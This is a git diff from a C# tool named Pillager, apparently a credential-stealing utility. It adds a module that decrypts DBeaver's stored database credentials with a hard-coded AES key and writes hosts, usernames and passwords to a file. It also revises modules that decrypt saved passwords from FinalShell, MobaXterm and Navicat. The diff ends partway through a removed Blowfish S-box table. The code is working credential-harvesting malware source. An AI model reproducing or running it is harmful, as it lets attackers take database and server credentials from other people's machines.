||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Softwares
|
||||
{
|
||||
|
|
|
@ -0,0 +1,103 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Pillager.Tools
|
||||
{
|
||||
internal class DBeaver
|
||||
{
|
||||
public static string ToolName = "DBeaver";
|
||||
|
||||
public static string ConnectionInfo(string config, string sources)
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
string pattern = @"\""(?<key>[^""]+)\""\s*:\s*\{\s*\""#connection\""\s*:\s*\{\s*\""user\""\s*:\s*\""(?<user>[^""]+)\""\s*,\s*\""password\""\s*:\s*\""(?<password>[^""]+)\""\s*\}\s*\}";
|
||||
MatchCollection matches = Regex.Matches(config, pattern);
|
||||
foreach (Match match in matches)
|
||||
{
|
||||
string key = match.Groups["key"].Value;
|
||||
string user = match.Groups["user"].Value;
|
||||
string password = match.Groups["password"].Value;
|
||||
sb.AppendLine(MatchDataSource(File.ReadAllText(sources), key));
|
||||
sb.AppendLine($"username: {user}");
|
||||
sb.AppendLine($"password: {password}");
|
||||
sb.AppendLine();
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
public static string MatchDataSource(string json, string jdbcKey)
|
||||
{
|
||||
string pattern = $"\"({Regex.Escape(jdbcKey)})\":\\s*{{[^}}]+?\"url\":\\s*\"([^\"]+)\"[^}}]+?}}";
|
||||
Match match = Regex.Match(json, pattern);
|
||||
if (match.Success)
|
||||
{
|
||||
string url = match.Groups[2].Value;
|
||||
return $"host: {url}";
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
public static string GetAppDataFolderPath()
|
||||
{
|
||||
string appDataFolderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
return appDataFolderPath;
|
||||
}
|
||||
public static string Decrypt(string filePath, string keyHex, string ivHex)
|
||||
{
|
||||
byte[] encryptedBytes = File.ReadAllBytes(filePath);
|
||||
byte[] key = StringToByteArray(keyHex);
|
||||
byte[] iv = StringToByteArray(ivHex);
|
||||
|
||||
using (Aes aes = Aes.Create())
|
||||
{
|
||||
aes.Key = key;
|
||||
aes.IV = iv;
|
||||
aes.Mode = CipherMode.CBC;
|
||||
aes.Padding = PaddingMode.PKCS7;
|
||||
|
||||
using (MemoryStream memoryStream = new MemoryStream(encryptedBytes))
|
||||
{
|
||||
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Read))
|
||||
{
|
||||
using (StreamReader streamReader = new StreamReader(cryptoStream, Encoding.UTF8))
|
||||
{
|
||||
return streamReader.ReadToEnd();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
private static byte[] StringToByteArray(string hex)
|
||||
{
|
||||
int numberChars = hex.Length;
|
||||
byte[] bytes = new byte[numberChars / 2];
|
||||
for (int i = 0; i < numberChars; i += 2)
|
||||
{
|
||||
bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static void Save(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
string sources = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DBeaverData\\workspace6\\General\\.dbeaver\\data-sources.json");
|
||||
string credentials = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DBeaverData\\workspace6\\General\\.dbeaver\\credentials-config.json");
|
||||
if (!File.Exists(sources)||!File.Exists(credentials))return;
|
||||
string savepath = Path.Combine(path, ToolName);
|
||||
Directory.CreateDirectory(savepath);
|
||||
string output = ConnectionInfo(Decrypt(credentials, "babb4a9f774ab853c96c2d653dfe544a", "00000000000000000000000000000000"), sources);
|
||||
if (!string.IsNullOrEmpty(output)) File.WriteAllText(Path.Combine(savepath, ToolName + ".txt"), output);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,13 +1,8 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.Xml;
|
||||
using System.Text;
|
||||
using System.Windows.Input;
|
||||
using System.Xml;
|
||||
using static System.Net.Mime.MediaTypeNames;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Pillager.Tools
|
||||
{
|
||||
|
@ -27,26 +22,26 @@ namespace Pillager.Tools
|
|||
string password = "";
|
||||
string host = "";
|
||||
string port = "";
|
||||
var user_names = new System.Text.RegularExpressions.Regex("\"user_name\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(connjson);
|
||||
var passwords = new System.Text.RegularExpressions.Regex("\"password\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(connjson);
|
||||
var hosts = new System.Text.RegularExpressions.Regex("\"host\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(connjson);
|
||||
var ports = new System.Text.RegularExpressions.Regex("\"port\":(.*?),", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(connjson);
|
||||
foreach (System.Text.RegularExpressions.Match prof in user_names)
|
||||
var user_names = new Regex("\"user_name\":\"(.*?)\"", RegexOptions.Compiled).Matches(connjson);
|
||||
var passwords = new Regex("\"password\":\"(.*?)\"", RegexOptions.Compiled).Matches(connjson);
|
||||
var hosts = new Regex("\"host\":\"(.*?)\"", RegexOptions.Compiled).Matches(connjson);
|
||||
var ports = new Regex("\"port\":(.*?),", RegexOptions.Compiled).Matches(connjson);
|
||||
foreach (Match prof in user_names)
|
||||
{
|
||||
if (prof.Success)
|
||||
user_name = prof.Groups[1].Value;
|
||||
}
|
||||
foreach (System.Text.RegularExpressions.Match prof in passwords)
|
||||
foreach (Match prof in passwords)
|
||||
{
|
||||
if (prof.Success)
|
||||
password = prof.Groups[1].Value;
|
||||
}
|
||||
foreach (System.Text.RegularExpressions.Match prof in hosts)
|
||||
foreach (Match prof in hosts)
|
||||
{
|
||||
if (prof.Success)
|
||||
host = prof.Groups[1].Value;
|
||||
}
|
||||
foreach (System.Text.RegularExpressions.Match prof in ports)
|
||||
foreach (Match prof in ports)
|
||||
{
|
||||
if (prof.Success)
|
||||
port = prof.Groups[1].Value;
|
||||
|
@ -83,20 +78,17 @@ namespace Pillager.Tools
|
|||
{
|
||||
return null;
|
||||
}
|
||||
else
|
||||
{
|
||||
string rs = "";
|
||||
byte[] buf = Convert.FromBase64String(data);
|
||||
byte[] head = new byte[8];
|
||||
Array.Copy(buf, 0, head, 0, head.Length);
|
||||
byte[] d = new byte[buf.Length - head.Length];
|
||||
Array.Copy(buf, head.Length, d, 0, d.Length);
|
||||
byte[] randombytes = ranDomKey(head);
|
||||
byte[] bt = desDecode(d, randombytes);
|
||||
rs = Encoding.ASCII.GetString(bt);
|
||||
|
||||
return rs;
|
||||
}
|
||||
byte[] buf = Convert.FromBase64String(data);
|
||||
byte[] head = new byte[8];
|
||||
Array.Copy(buf, 0, head, 0, head.Length);
|
||||
byte[] d = new byte[buf.Length - head.Length];
|
||||
Array.Copy(buf, head.Length, d, 0, d.Length);
|
||||
byte[] randombytes = ranDomKey(head);
|
||||
byte[] bt = desDecode(d, randombytes);
|
||||
var rs = Encoding.ASCII.GetString(bt);
|
||||
|
||||
return rs;
|
||||
}
|
||||
static byte[] ranDomKey(byte[] head)
|
||||
{
|
||||
|
@ -111,7 +103,7 @@ namespace Pillager.Tools
|
|||
|
||||
long n = random.nextLong();
|
||||
JavaRng r2 = new JavaRng(n);
|
||||
long[] ld = new long[] { (long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2] };
|
||||
long[] ld = { head[4], r2.nextLong(), head[7], head[3], r2.nextLong(), head[1], random.nextLong(), head[2] };
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
using (BinaryWriter writer = new BinaryWriter(stream))
|
||||
|
@ -190,7 +182,7 @@ namespace Pillager.Tools
|
|||
public int nextInt(int bound)
|
||||
{
|
||||
if (bound <= 0)
|
||||
throw new ArgumentOutOfRangeException("bound", bound, "bound must be positive");
|
||||
throw new ArgumentOutOfRangeException(nameof(bound), bound, "bound must be positive");
|
||||
|
||||
int r = next(31);
|
||||
int m = bound - 1;
|
||||
|
@ -206,24 +198,6 @@ namespace Pillager.Tools
|
|||
return r;
|
||||
}
|
||||
|
||||
public int NextInt(int n)
|
||||
{
|
||||
if (n <= 0)
|
||||
throw new ArgumentOutOfRangeException("n", n, "n must be positive");
|
||||
|
||||
if ((n & -n) == n) // i.e., n is a power of 2
|
||||
return (int)((n * (long)next(31)) >> 31);
|
||||
|
||||
int bits, val;
|
||||
|
||||
do
|
||||
{
|
||||
bits = next(31);
|
||||
val = bits % n;
|
||||
} while (bits - val + (n - 1) < 0);
|
||||
return val;
|
||||
}
|
||||
|
||||
private int next(int bits)
|
||||
{
|
||||
_seed = (_seed * LARGE_PRIME + SMALL_PRIME) & ((1L << 48) - 1);
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
using Microsoft.Win32;
|
||||
using Pillager.Helper;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Microsoft.Win32;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Tools
|
||||
{
|
||||
|
@ -26,9 +26,8 @@ namespace Pillager.Tools
|
|||
if (string.IsNullOrEmpty(SessionP)) continue;
|
||||
string Sesspasses = p.Get((Environment.UserName + "@" + Environment.MachineName).Replace(" ",""), "Sesspass", "");
|
||||
|
||||
List<IniLine> passwords;
|
||||
List<string> passwordlist = new List<string>();
|
||||
p.sectionMap.TryGetValue("passwords", out passwords);
|
||||
p.sectionMap.TryGetValue("passwords", out var passwords);
|
||||
if (passwords!=null)
|
||||
{
|
||||
foreach (var password in passwords)
|
||||
|
@ -51,10 +50,9 @@ namespace Pillager.Tools
|
|||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
List<IniLine> credentials;
|
||||
|
||||
List<string> credentiallist = new List<string>();
|
||||
p.sectionMap.TryGetValue("credentials", out credentials);
|
||||
p.sectionMap.TryGetValue("credentials", out var credentials);
|
||||
if (credentials!=null)
|
||||
{
|
||||
foreach (var credential in credentials)
|
||||
|
@ -166,7 +164,7 @@ namespace Pillager.Tools
|
|||
}
|
||||
}
|
||||
catch { }
|
||||
if (passwordlist?.Count > 0)
|
||||
if (passwordlist.Count > 0)
|
||||
{
|
||||
stringBuilder.AppendLine("Passwords:");
|
||||
foreach (var password in passwordlist)
|
||||
|
@ -175,7 +173,7 @@ namespace Pillager.Tools
|
|||
}
|
||||
stringBuilder.AppendLine("");
|
||||
}
|
||||
if (credentiallist?.Count > 0)
|
||||
if (credentiallist.Count > 0)
|
||||
{
|
||||
stringBuilder.AppendLine("Credentials:");
|
||||
foreach (var credential in credentiallist)
|
||||
|
@ -194,7 +192,7 @@ namespace Pillager.Tools
|
|||
{
|
||||
byte[] bytes = Convert.FromBase64String(Sesspasses);
|
||||
//byte[] key = KeyCrafter(SessionP);
|
||||
byte[] front = new byte[] { 0x01, 0x00, 0x00, 0x00, 0xd0, 0x8c, 0x9d, 0xdf, 0x01, 0x15, 0xd1, 0x11, 0x8c, 0x7a, 0x00, 0xc0, 0x4f, 0xc2, 0x97, 0xeb };
|
||||
byte[] front = { 0x01, 0x00, 0x00, 0x00, 0xd0, 0x8c, 0x9d, 0xdf, 0x01, 0x15, 0xd1, 0x11, 0x8c, 0x7a, 0x00, 0xc0, 0x4f, 0xc2, 0x97, 0xeb };
|
||||
byte[] all = new byte[bytes.Length + front.Length];
|
||||
for (int i = 0; i < front.Length; i++)
|
||||
{
|
||||
|
@ -227,11 +225,11 @@ namespace Pillager.Tools
|
|||
byte[] text = Encoding.ASCII.GetBytes(Ciphertext);
|
||||
|
||||
List<byte> bytes1 = new List<byte>();
|
||||
for (int i = 0; i < text.Length; i++)
|
||||
foreach (var t in text)
|
||||
{
|
||||
if (key.ToList().Contains(text[i]))
|
||||
if (key.ToList().Contains(t))
|
||||
{
|
||||
bytes1.Add(text[i]);
|
||||
bytes1.Add(t);
|
||||
}
|
||||
}
|
||||
byte[] ct = bytes1.ToArray();
|
||||
|
@ -240,7 +238,6 @@ namespace Pillager.Tools
|
|||
|
||||
if (ct.Length % 2 == 0)
|
||||
{
|
||||
List<byte> bytes2 = new List<byte>();
|
||||
for (int i = 0; i < ct.Length; i += 2)
|
||||
{
|
||||
int l = key.ToList().FindIndex(a => a == ct[i]);
|
||||
|
|
|
@ -1,11 +1,8 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Windows.Input;
|
||||
using Microsoft.Win32;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Tools
|
||||
{
|
||||
|
@ -64,7 +61,7 @@ namespace Pillager.Tools
|
|||
{
|
||||
try
|
||||
{
|
||||
var registryKey = Registry.CurrentUser.OpenSubKey($@"Software\PremiumSoft");
|
||||
var registryKey = Registry.CurrentUser.OpenSubKey(@"Software\PremiumSoft");
|
||||
if (registryKey == null) return;
|
||||
string savepath = Path.Combine(path, ToolName);
|
||||
Directory.CreateDirectory(savepath);
|
||||
|
@ -74,387 +71,4 @@ namespace Pillager.Tools
|
|||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
class Navicat11Cipher
|
||||
{
|
||||
|
||||
private Blowfish blowfishCipher;
|
||||
|
||||
protected static byte[] StringToByteArray(string hex)
|
||||
{
|
||||
return Enumerable.Range(0, hex.Length)
|
||||
.Where(x => x % 2 == 0)
|
||||
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
|
||||
.ToArray();
|
||||
}
|
||||
|
||||
protected static string ByteArrayToString(byte[] bytes)
|
||||
{
|
||||
return BitConverter.ToString(bytes).Replace("-", string.Empty);
|
||||
}
|
||||
|
||||
protected static void XorBytes(byte[] a, byte[] b, int len)
|
||||
{
|
||||
for (int i = 0; i < len; ++i)
|
||||
a[i] ^= b[i];
|
||||
}
|
||||
|
||||
public Navicat11Cipher()
|
||||
{
|
||||
byte[] UserKey = Encoding.UTF8.GetBytes("3DC5CA39");
|
||||
var sha1 = new SHA1CryptoServiceProvider();
|
||||
sha1.TransformFinalBlock(UserKey, 0, UserKey.Length);
|
||||
blowfishCipher = new Blowfish(sha1.Hash);
|
||||
}
|
||||
|
||||
public Navicat11Cipher(string CustomUserKey)
|
||||
{
|
||||
byte[] UserKey = Encoding.UTF8.GetBytes(CustomUserKey);
|
||||
var sha1 = new SHA1CryptoServiceProvider();
|
||||
byte[] UserKeyHash = sha1.TransformFinalBlock(UserKey, 0, 8);
|
||||
blowfishCipher = new Blowfish(UserKeyHash);
|
||||
}
|
||||
|
||||
public string DecryptString(string ciphertext)
|
||||
{
|
||||
byte[] ciphertext_bytes = StringToByteArray(ciphertext);
|
||||
|
||||
byte[] CV = Enumerable.Repeat<byte>(0xFF, Blowfish.BlockSize).ToArray();
|
||||
blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
|
||||
|
||||
byte[] ret = new byte[0];
|
||||
int blocks_len = ciphertext_bytes.Length / Blowfish.BlockSize;
|
||||
int left_len = ciphertext_bytes.Length % Blowfish.BlockSize;
|
||||
byte[] temp = new byte[Blowfish.BlockSize];
|
||||
byte[] temp2 = new byte[Blowfish.BlockSize];
|
||||
for (int i = 0; i < blocks_len; ++i)
|
||||
{
|
||||
Array.Copy(ciphertext_bytes, Blowfish.BlockSize * i, temp, 0, Blowfish.BlockSize);
|
||||
Array.Copy(temp, temp2, Blowfish.BlockSize);
|
||||
blowfishCipher.Decrypt(temp, Blowfish.Endian.Big);
|
||||
XorBytes(temp, CV, Blowfish.BlockSize);
|
||||
ret = ret.Concat(temp).ToArray();
|
||||
XorBytes(CV, temp2, Blowfish.BlockSize);
|
||||
}
|
||||
|
||||
if (left_len != 0)
|
||||
{
|
||||
Array.Clear(temp, 0, temp.Length);
|
||||
Array.Copy(ciphertext_bytes, Blowfish.BlockSize * blocks_len, temp, 0, left_len);
|
||||
blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
|
||||
XorBytes(temp, CV, Blowfish.BlockSize);
|
||||
ret = ret.Concat(temp.Take(left_len).ToArray()).ToArray();
|
||||
}
|
||||
|
||||
return Encoding.UTF8.GetString(ret);
|
||||
}
|
||||
}
|
||||
|
||||
class Blowfish
|
||||
{
|
||||
|
||||
public enum Endian { Little, Big };
|
||||
public static readonly int MinUserKeyLength = 1;
|
||||
public static readonly int MaxUserKeyLength = 56;
|
||||
public static readonly int BlockSize = 8;
|
||||
|
||||
private static readonly UInt32[] OriginPBox = new UInt32[] {
|
||||
0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344, 0xA4093822, 0x299F31D0,
|
||||
0x082EFA98, 0xEC4E6C89, 0x452821E6, 0x38D01377, 0xBE5466CF, 0x34E90C6C,
|
||||
0xC0AC29B7, 0xC97C50DD, 0x3F84D5B5, 0xB5470917, 0x9216D5D9, 0x8979FB1B
|
||||
};
|
||||
|
||||
private static readonly UInt32[,] OriginSBox = new UInt32[4, 256] {
|
||||
{
|
||||
0xD1310BA6, 0x98DFB5AC, 0x2FFD72DB, 0xD01ADFB7, 0xB8E1AFED, 0x6A267E96, 0xBA7C9045, 0xF12C7F99, 0x24A19947, 0xB3916CF7, 0x0801F2E2, 0x858EFC16, 0x636920D8, 0x71574E69, 0xA458FEA3, 0xF4933D7E,
|
||||
0x0D95748F, 0x728EB658, 0x718BCD58, 0x82154AEE, 0x7B54A41D, 0xC25A59B5, 0x9C30D539, 0x2AF26013, 0xC5D1B023, 0x286085F0, 0xCA417918, 0xB8DB38EF, 0x8E79DCB0, 0x603A180E, 0x6C9E0E8B, 0xB01E8A3E,
|
||||
0xD71577C1, 0xBD314B27, 0x78AF2FDA, 0x55605C60, 0xE65525F3, 0xAA55AB94, 0x57489862, 0x63E81440, 0x55CA396A, 0x2AAB10B6, 0xB4CC5C34, 0x1141E8CE, 0xA15486AF, 0x7C72E993, 0xB3EE1411, 0x636FBC2A,
|
||||
0x2BA9C55D, 0x741831F6, 0xCE5C3E16, 0x9B87931E, 0xAFD6BA33, 0x6C24CF5C, 0x7A325381, 0x28958677, 0x3B8F4898, 0x6B4BB9AF, 0xC4BFE81B, 0x66282193, 0x61D809CC, 0xFB21A991, 0x487CAC60, 0x5DEC8032,
|
||||
0xEF845D5D, 0xE98575B1, 0xDC262302, 0xEB651B88, 0x23893E81, 0xD396ACC5, 0x0F6D6FF3, 0x83F44239, 0x2E0B4482, 0xA4842004, 0x69C8F04A, 0x9E1F9B5E, 0x21C66842, 0xF6E96C9A, 0x670C9C61, 0xABD388F0,
|
||||
0x6A51A0D2, 0xD8542F68, 0x960FA728, 0xAB5133A3, 0x6EEF0B6C, 0x137A3BE4, 0xBA3BF050, 0x7EFB2A98, 0xA1F1651D, 0x39AF0176, 0x66CA593E, 0x82430E88, 0x8CEE8619, 0x456F9FB4, 0x7D84A5C3, 0x3B8B5EBE,
|
||||
0xE06F75D8, 0x85C12073, 0x401A449F, 0x56C16AA6, 0x4ED3AA62, 0x363F7706, 0x1BFEDF72, 0x429B023D, 0x37D0D724, 0xD00A1248, 0xDB0FEAD3, 0x49F1C09B, 0x075372C9, 0x80991B7B, 0x25D479D8, 0xF6E8DEF7,
|
||||
0xE3FE501A, 0xB6794C3B, 0x976CE0BD, 0x04C006BA, 0xC1A94FB6, 0x409F60C4, 0x5E5C9EC2, 0x196A2463, 0x68FB6FAF, 0x3E6C53B5, 0x1339B2EB, 0x3B52EC6F, 0x6DFC511F, 0x9B30952C, 0xCC814544, 0xAF5EBD09,
|
||||
0xBEE3D004, 0xDE334AFD, 0x660F2807, 0x192E4BB3, 0xC0CBA857, 0x45C8740F, 0xD20B5F39, 0xB9D3FBDB, 0x5579C0BD, 0x1A60320A, 0xD6A100C6, 0x402C7279, 0x679F25FE, 0xFB1FA3CC, 0x8EA5E9F8, 0xDB3222F8,
|
||||
0x3C7516DF, 0xFD616B15, 0x2F501EC8, 0xAD0552AB, 0x323DB5FA, 0xFD238760, 0x53317B48, 0x3E00DF82, 0x9E5C57BB, 0xCA6F8CA0, 0x1A87562E, 0xDF1769DB, 0xD542A8F6, 0x287EFFC3, 0xAC6732C6, 0x8C4F5573,
|
||||
0x695B27B0, 0xBBCA58C8, 0xE1FFA35D, 0xB8F011A0, 0x10FA3D98, 0xFD2183B8, 0x4AFCB56C, 0x2DD1D35B, 0x9A53E479, 0xB6F84565, 0xD28E49BC, 0x4BFB9790, 0xE1DDF2DA, 0xA4CB7E33, 0x62FB1341, 0xCEE4C6E8,
|
||||
0xEF20CADA, 0x36774C01, 0xD07E9EFE, 0x2BF11FB4, 0x95DBDA4D, 0xAE909198, 0xEAAD8E71, 0x6B93D5A0, 0xD08ED1D0, 0xAFC725E0, 0x8E3C5B2F, 0x8E7594B7, 0x8FF6E2FB, 0xF2122B64, 0x8888B812, 0x900DF01C,
|
||||
0x4FAD5EA0, 0x688FC31C, 0xD1CFF191, 0xB3A8C1AD, 0x2F2F2218, 0xBE0E1777, 0xEA752DFE, 0x8B021FA1, 0xE5A0CC0F, 0xB56F74E8, 0x18ACF3D6, 0xCE89E299, 0xB4A84FE0, 0xFD13E0B7, 0x7CC43B81, 0xD2ADA8D9,
|
||||
0x165FA266, 0x80957705, 0x93CC7314, 0x211A1477, 0xE6AD2065, 0x77B5FA86, 0xC75442F5, 0xFB9D35CF, 0xEBCDAF0C, 0x7B3E89A0, 0xD6411BD3, 0xAE1E7E49, 0x00250E2D, 0x2071B35E, 0x226800BB, 0x57B8E0AF,
|
||||
0x2464369B, 0xF009B91E, 0x5563911D, 0x59DFA6AA, 0x78C14389, 0xD95A537F, 0x207D5BA2, 0x02E5B9C5, 0x83260376, 0x6295CFA9, 0x11C81968, 0x4E734A41, 0xB3472DCA, 0x7B14A94A, 0x1B510052, 0x9A532915,
|
||||
0xD60F573F, 0xBC9BC6E4, 0x2B60A476, 0x81E67400, 0x08BA6FB5, 0x571BE91F, 0xF296EC6B, 0x2A0DD915, 0xB6636521, 0xE7B9F9B6, 0xFF34052E, 0xC5855664, 0x53B02D5D, 0xA99F8FA1, 0x08BA4799, 0x6E85076A
|
||||
},
|
||||
|
||||
{
|
||||
0x4B7A70E9, 0xB5B32944, 0xDB75092E, 0xC4192623, 0xAD6EA6B0, 0x49A7DF7D, 0x9CEE60B8, 0x8FEDB266, 0xECAA8C71, 0x699A17FF, 0x5664526C, 0xC2B19EE1, 0x193602A5, 0x75094C29, 0xA0591340, 0xE4183A3E,
|
||||
0x3F54989A, 0x5B429D65, 0x6B8FE4D6, 0x99F73FD6, 0xA1D29C07, 0xEFE830F5, 0x4D2D38E6, 0xF0255DC1, 0x4CDD2086, 0x8470EB26, 0x6382E9C6, 0x021ECC5E, 0x09686B3F, 0x3EBAEFC9, 0x3C971814, 0x6B6A70A1,
|
||||
0x687F3584, 0x52A0E286, 0xB79C5305, 0xAA500737, 0x3E07841C, 0x7FDEAE5C, 0x8E7D44EC, 0x5716F2B8, 0xB03ADA37, 0xF0500C0D, 0xF01C1F04, 0x0200B3FF, 0xAE0CF51A, 0x3CB574B2, 0x25837A58, 0xDC0921BD,
|
||||
0xD19113F9, 0x7CA92FF6, 0x94324773, 0x22F54701, 0x3AE5E581, 0x37C2DADC, 0xC8B57634, 0x9AF3DDA7, 0xA9446146, 0x0FD0030E, 0xECC8C73E, 0xA4751E41, 0xE238CD99, 0x3BEA0E2F, 0x3280BBA1, 0x183EB331,
|
||||
0x4E548B38, 0x4F6DB908, 0x6F420D03, 0xF60A04BF, 0x2CB81290, 0x24977C79, 0x5679B072, 0xBCAF89AF, 0xDE9A771F, 0xD9930810, 0xB38BAE12, 0xDCCF3F2E, 0x5512721F, 0x2E6B7124, 0x501ADDE6, 0x9F84CD87,
|
||||
0x7A584718, 0x7408DA17, 0xBC9F9ABC, 0xE94B7D8C, 0xEC7AEC3A, 0xDB851DFA, 0x63094366, 0xC464C3D2, 0xEF1C1847, 0x3215D908, 0xDD433B37, 0x24C2BA16, 0x12A14D43, 0x2A65C451, 0x50940002, 0x133AE4DD,
|
||||
0x71DFF89E, 0x10314E55, 0x81AC77D6, 0x5F11199B, 0x043556F1, 0xD7A3C76B, 0x3C11183B, 0x5924A509, 0xF28FE6ED, 0x97F1FBFA, 0x9EBABF2C, 0x1E153C6E, 0x86E34570, 0xEAE96FB1, 0x860E5E0A, 0x5A3E2AB3,
|
||||
0x771FE71C, 0x4E3D06FA, 0x2965DCB9, 0x99E71D0F, 0x803E89D6, 0x5266C825, 0x2E4CC978, 0x9C10B36A, 0xC6150EBA, 0x94E2EA78, 0xA5FC3C53, 0x1E0A2DF4, 0xF2F74EA7, 0x361D2B3D, 0x1939260F, 0x19C27960,
|
||||
0x5223A708, 0xF71312B6, 0xEBADFE6E, 0xEAC31F66, 0xE3BC4595, 0xA67BC883, 0xB17F37D1, 0x018CFF28, 0xC332DDEF, 0xBE6C5AA5, 0x65582185, 0x68AB9802, 0xEECEA50F, 0xDB2F953B, 0x2AEF7DAD, 0x5B6E2F84,
|
||||
0x1521B628, 0x29076170, 0xECDD4775, 0x619F1510, 0x13CCA830, 0xEB61BD96, 0x0334FE1E, 0xAA0363CF, 0xB5735C90, 0x4C70A239, 0xD59E9E0B, 0xCBAADE14, 0xEECC86BC, 0x60622CA7, 0x9CAB5CAB, 0xB2F3846E,
|
||||
0x648B1EAF, 0x19BDF0CA, 0xA02369B9, 0x655ABB50, 0x40685A32, 0x3C2AB4B3, 0x319EE9D5, 0xC021B8F7, 0x9B540B19, 0x875FA099, 0x95F7997E, 0x623D7DA8, 0xF837889A, 0x97E32D77, 0x11ED935F, 0x16681281,
|
||||
0x0E358829, 0xC7E61FD6, 0x96DEDFA1, 0x7858BA99, 0x57F584A5, 0x1B227263, 0x9B83C3FF, 0x1AC24696, 0xCDB30AEB, 0x532E3054, 0x8FD948E4, 0x6DBC3128, 0x58EBF2EF, 0x34C6FFEA, 0xFE28ED61, 0xEE7C3C73,
|
||||
0x5D4A14D9, 0xE864B7E3, 0x42105D14, 0x203E13E0, 0x45EEE2B6, 0xA3AAABEA, 0xDB6C4F15, 0xFACB4FD0, 0xC742F442, 0xEF6ABBB5, 0x654F3B1D, 0x41CD2105, 0xD81E799E, 0x86854DC7, 0xE44B476A, 0x3D816250,
|
||||
0xCF62A1F2, 0x5B8D2646, 0xFC8883A0, 0xC1C7B6A3, 0x7F1524C3, 0x69CB7492, 0x47848A0B, 0x5692B285, 0x095BBF00, 0xAD19489D, 0x1462B174, 0x23820E00, 0x58428D2A, 0x0C55F5EA, 0x1DADF43E, 0x233F7061,
|
||||
0x3372F092, 0x8D937E41, 0xD65FECF1, 0x6C223BDB, 0x7CDE3759, 0xCBEE7460, 0x4085F2A7, 0xCE77326E, 0xA6078084, 0x19F8509E, 0xE8EFD855, 0x61D99735, 0xA969A7AA, 0xC50C06C2, 0x5A04ABFC, 0x800BCADC,
|
||||
0x9E447A2E, 0xC3453484, 0xFDD56705, 0x0E1E9EC9, 0xDB73DBD3, 0x105588CD, 0x675FDA79, 0xE3674340, 0xC5C43465, 0x713E38D8, 0x3D28F89E, 0xF16DFF20, 0x153E21E7, 0x8FB03D4A, 0xE6E39F2B, 0xDB83ADF7
|
||||
},
|
||||
|
||||
{
|
||||
0xE93D5A68, 0x948140F7, 0xF64C261C, 0x94692934, 0x411520F7, 0x7602D4F7, 0xBCF46B2E, 0xD4A20068, 0xD4082471, 0x3320F46A, 0x43B7D4B7, 0x500061AF, 0x1E39F62E, 0x97244546, 0x14214F74, 0xBF8B8840,
|
||||
0x4D95FC1D, 0x96B591AF, 0x70F4DDD3, 0x66A02F45, 0xBFBC09EC, 0x03BD9785, 0x7FAC6DD0, 0x31CB8504, 0x96EB27B3, 0x55FD3941, 0xDA2547E6, 0xABCA0A9A, 0x28507825, 0x530429F4, 0x0A2C86DA, 0xE9B66DFB,
|
||||
0x68DC1462, 0xD7486900, 0x680EC0A4, 0x27A18DEE, 0x4F3FFEA2, 0xE887AD8C, 0xB58CE006, 0x7AF4D6B6, 0xAACE1E7C, 0xD3375FEC, 0xCE78A399, 0x406B2A42, 0x20FE9E35, 0xD9F385B9, 0xEE39D7AB, 0x3B124E8B,
|
||||
0x1DC9FAF7, 0x4B6D1856, 0x26A36631, 0xEAE397B2, 0x3A6EFA74, 0xDD5B4332, 0x6841E7F7, 0xCA7820FB, 0xFB0AF54E, 0xD8FEB397, 0x454056AC, 0xBA489527, 0x55533A3A, 0x20838D87, 0xFE6BA9B7, 0xD096954B,
|
||||
0x55A867BC, 0xA1159A58, 0xCCA92963, 0x99E1DB33, 0xA62A4A56, 0x3F3125F9, 0x5EF47E1C, 0x9029317C, 0xFDF8E802, 0x04272F70, 0x80BB155C, 0x05282CE3, 0x95C11548, 0xE4C66D22, 0x48C1133F, 0xC70F86DC,
|
||||
